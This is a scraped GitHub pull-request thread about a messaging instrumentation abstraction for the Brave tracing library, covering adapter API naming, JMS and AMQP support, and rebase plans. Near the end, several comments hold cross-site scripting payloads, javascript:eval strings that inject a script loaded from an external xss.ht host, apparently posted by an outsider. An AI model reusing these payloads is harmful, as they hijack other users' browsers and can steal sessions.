brave
brave copied to clipboard
Messaging instrumentation
Follow up of https://github.com/apache/incubator-zipkin-brave/pull/904 with the right source branch.
I will try to add rabbit 5.x to this branch https://github.com/apache/incubator-zipkin-brave/issues/884
FYI I have a pretty big refactor on the way.. I'm in a connecting flight now, but sometime in less than 24hrs I'll push a commit that hopefully helps a lot :)
due to travel, my mind is mush and I don't expect to be able to push my code tonight. If you have something to push, go for it and I will rebase etc. I will start again tomorrow morning malaysia time.
One thing that recently came up is the request to control the propagation format https://github.com/apache/incubator-zipkin-brave/issues/915
In JMS, we currently only support "b3" only to assure that headers are safe (idempotent and adhere to JMS naming constraints). We could cite the above issue in a test than an alternate safe propagation model could be used (ex. a different header name with the same format).
I'm pausing a bit. in case folks want to comment, here's a branch which I'm still working on so that it passes tests. I'm not completely happy with the api but the plan is to add a commit once pass tests and we can cleanup further.
https://github.com/apache/incubator-zipkin-brave/compare/messaging...messaging-refactor
@jeqo I will rebase this branch on master and force push. then I will rebase my other PR against this
ok sorry to hold this branch hostage so long.
@adriancole I'm starting to work on testing messaging modules and check TODOs.
probably in unit tests we don't need strict scope decorator then either..
On Wed, Jul 17, 2019 at 8:10 AM Jorge Quilcate Otoya < [email protected]> wrote:
@jeqo commented on this pull request.
In instrumentation/messaging/src/test/java/brave/messaging/ProducerHandlerTest.java https://github.com/openzipkin/brave/pull/914#discussion_r304163160:
- ProducerHandler<Object, Object, Object> handler;
- @Before public void init() {
- messagingTracing = MessagingTracing.newBuilder(
Tracing.newBuilder()
.currentTraceContext(ThreadLocalCurrentTraceContext.newBuilder()
.addScopeDecorator(StrictScopeDecorator.create())
.build())
.spanReporter(spans::add)
.build())
.build();
- handler = ProducerHandler.create(messagingTracing, adapter, extractor, injector);
- }
- @After public void close() {
I've seen takeSpan used in IT by using BlockingQueue, but in the case of unit-tests, list is enough. When adding messaging-tests we could use takeSpan.
— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/openzipkin/brave/pull/914?email_source=notifications&email_token=AAAPVV44K5LQSBDOZPVFXMLP7ZIMRA5CNFSM4HQKKL72YY3PNVWWK3TUL52HS4DFWFIHK3DMKJSXC5LFON2FEZLWNFSXPKTDN5WW2ZLOORPWSZGOB6UQEIA#discussion_r304163160, or mute the thread https://github.com/notifications/unsubscribe-auth/AAAPVV45WMJDZRP3V7DR2Y3P7ZIMRANCNFSM4HQKKL7Q .
you made a lot of good notes here. mind moving some to here so we don't lose them? https://github.com/openzipkin/openzipkin.github.io/wiki/Messaging-instrumentation-abstraction
On Wed, Jul 17, 2019 at 7:56 AM Jorge Quilcate Otoya < [email protected]> wrote:
@jeqo commented on this pull request.
In instrumentation/messaging/src/main/java/brave/messaging/MessagingAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r304140051:
- /**
- Type of channel, e.g. queue or topic. {@code null} if unreadable.
Conventionally associated with the key "message.channel_kind"
- */
- // Naming matches conventions for Span
- @Nullable public abstract String channelKind(Chan channel);
- /**
- Key used to identity or partition messages. {@code null} if unreadable.
Conventionally associated with the key "message.key"
- */
- // TODO:
- // jeqo: I'm wondering if we should use key or id here. We have correlation_id as well, then message.id might fit better.
- // adrian: maybe we can use some examples to pin this down. kafka uses the word "key" I think. what does amqp and rocketmq use?
AMQP uses message-id ref1 https://www.rabbitmq.com/amqp-0-9-1-reference.html#class.basic and RocketMQ seems to manage both concepts key and id ref2 https://rocketmq.apache.org/docs/core-concept/, but ID seems to match the concept we are trying to map ref3 https://github.com/apache/rocketmq/blob/master/common/src/main/java/org/apache/rocketmq/common/message/MessageId.java
In instrumentation/messaging/src/main/java/brave/messaging/MessagingAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r304143725:
Conventionally associated with the key "message.key"
- */
- // TODO:
- // jeqo: I'm wondering if we should use key or id here. We have correlation_id as well, then message.id might fit better.
- // adrian: maybe we can use some examples to pin this down. kafka uses the word "key" I think. what does amqp and rocketmq use?
- @Nullable public abstract String messageKey(Msg message);
- /**
- Identifier used to correlate logs. {@code null} if unreadable.
Conventionally associated with the key "message.correlation_id"
- */
- @Nullable public abstract String correlationId(Msg message);
- // TODO: is protocol abstracted well enough to expose? Ex stomp, AMQP 1.0, Kafka
I'm +1 to have protocol as tag as well. If remoteServiceName is meant to be used to map the name of the cluster/broker, I think protocol would be useful for filtering: select * from traces where messaging.protocol = "kafka" and remote_service_name = "kafka-dev";
In instrumentation/messaging/src/main/java/brave/messaging/MessagingAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r304151582:
- or implied. See the License for the specific language governing permissions and limitations under
- the License.
- */ +package brave.messaging;
+import brave.Span; +import brave.internal.Nullable; + +/**
- @param <Chan> the type of the channel
- @param <Msg> the type of the message
- @param <C> the type that carriers the trace context, usually headers
- */ +// abstract class instead of interface to allow method adds before Java 1.8 +public abstract class MessagingAdapter<Chan, Msg, C> {
- // TODO: make some of these methods not abstract as they don't have meaning for all impls
The only one that fit this description is correlationId. JMS and AMQP use it, but Kafka and RocketMQ don't. RocketMQ has a concept of transactionId that might replace it, but then I'd say each impl can add it's own additional identifiers/offsets.
In instrumentation/jms/src/main/java/brave/jms/JmsAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r304157863:
return null;
- }
- }
- @Override public T carrier(T message) {
- return message;
- }
- @Override public String channel(Destination channel) {
- try {
if (channel instanceof Queue) {
return ((Queue) channel).getQueueName();
} else if (channel instanceof Topic) {
return ((Topic) channel).getTopicName();
}
// TODO: we could use toString here..
If we follow destination.toString() instead of casting, we might get something like ActiveMQQueue[queueName]. I'm not against but it could make difficult to process/aggregate later. I'm thinking about #895 https://github.com/openzipkin/brave/issues/895
OTOH, we could create a Channel data type, that could allow use to do the casting only once. WDYT?
— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/openzipkin/brave/pull/914?email_source=notifications&email_token=AAAPVVYYCMPPQDZD33IPQA3P7ZGZZA5CNFSM4HQKKL72YY3PNVWWK3TUL52HS4DFWFIHK3DMKJSXC5LFON2FEZLWNFSXPKTDN5WW2ZLOORPWSZGOB6UKINQ#pullrequestreview-262710326, or mute the thread https://github.com/notifications/unsubscribe-auth/AAAPVV2FDAEXSSUISA4X5LDP7ZGZZANCNFSM4HQKKL7Q .
thanks for keeping the wheels turning @jeqo !
ok with me
On Sun, Jul 28, 2019, 8:52 PM Jorge Quilcate Otoya [email protected] wrote:
@jeqo commented on this pull request.
In instrumentation/messaging/src/main/java/brave/messaging/MessagingAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r308000509:
- @param <C> the type that carriers the trace context, usually headers
- */ +// abstract class instead of interface to allow method adds before Java 1.8 +public abstract class MessagingAdapter<Chan, Msg, C> {
- // TODO: make some of these methods not abstract as they don't have meaning for all impls
- // jeqo: The only one that fit this description is correlationId. JMS and AMQP use it, but Kafka and RocketMQ don't. RocketMQ has a concept of transactionId that might replace it, but then I'd say each impl can add it's own additional identifiers/offsets.
- /** Returns the trace context carrier from the message. Usually, this is headers. */
- public abstract C carrier(Msg message);
- /**
- Messaging channel, e.g. kafka queue or JMS topic name. {@code null} if unreadable.
Conventionally associated with the key "message.channel"
- */
- @Nullable public abstract String channel(Chan channel);
Should we replace channel to channel_name, as we have channel_kind? Similar to span_name, service_name, etc.
— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/openzipkin/brave/pull/914?email_source=notifications&email_token=AAAPVV2XADD4FP3RS3VWDM3QBWJBHA5CNFSM4HQKKL72YY3PNVWWK3TUL52HS4DFWFIHK3DMKJSXC5LFON2FEZLWNFSXPKTDN5WW2ZLOORPWSZGOB7Y43YY#pullrequestreview-267505123, or mute the thread https://github.com/notifications/unsubscribe-auth/AAAPVV6XXXICSBAZCTS6QETQBWJBHANCNFSM4HQKKL7Q .
@adriancole should we consider RabbitMQ as part of this PR?
@jeqo definitely or more precisely the amqp client
also we should temporarily add sqs as there was doubt around it
@jeqo warning I'm going to rebase and force push your branch
ok this is now rebased.. we have to look carefully that any new feature or tests added between brave 5.6.7 and 11 weren't accidentally scrubbed out during the rebase. It should be visible by looking at the diff closely, especially tests.
My take is to complete #999 which should be more straightforward. After that make a variant of it for messaging and pull logic from here into that where helpful. Rebasing this PR is probably not worth it.
all but one outstanding PRs have to do with messaging. When I get back to work tomorrow, I'll rebase this so we can try to clear out the queue. cc @jorgheymans
@jeqo I started to rebase this but it is a bit of work in the very british sense of "a bit" :P
since we've drifted approach, particularly away from Adapter<Msg> to ConsumerRequest etc. I suspect it might be quicker to port the goal vs the impl. wdyt?
@adriancole agree, let's do that :)
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://Rajpoot.xss.ht\';document.body.appendChild(a)')
">
javascript:eval('var a=document.createElement('script');a.src='https://Rajpoot.xss.ht';document.body.appendChild(a)')
">
">
">
javascript:eval('var a=document.createElement('script');a.src='https://Rajpoot.xss.ht';document.body.appendChild(a)')
this is out-of-date and 4.5 years old. This doesn't mean it isn't valid, but please re-open if necessary today.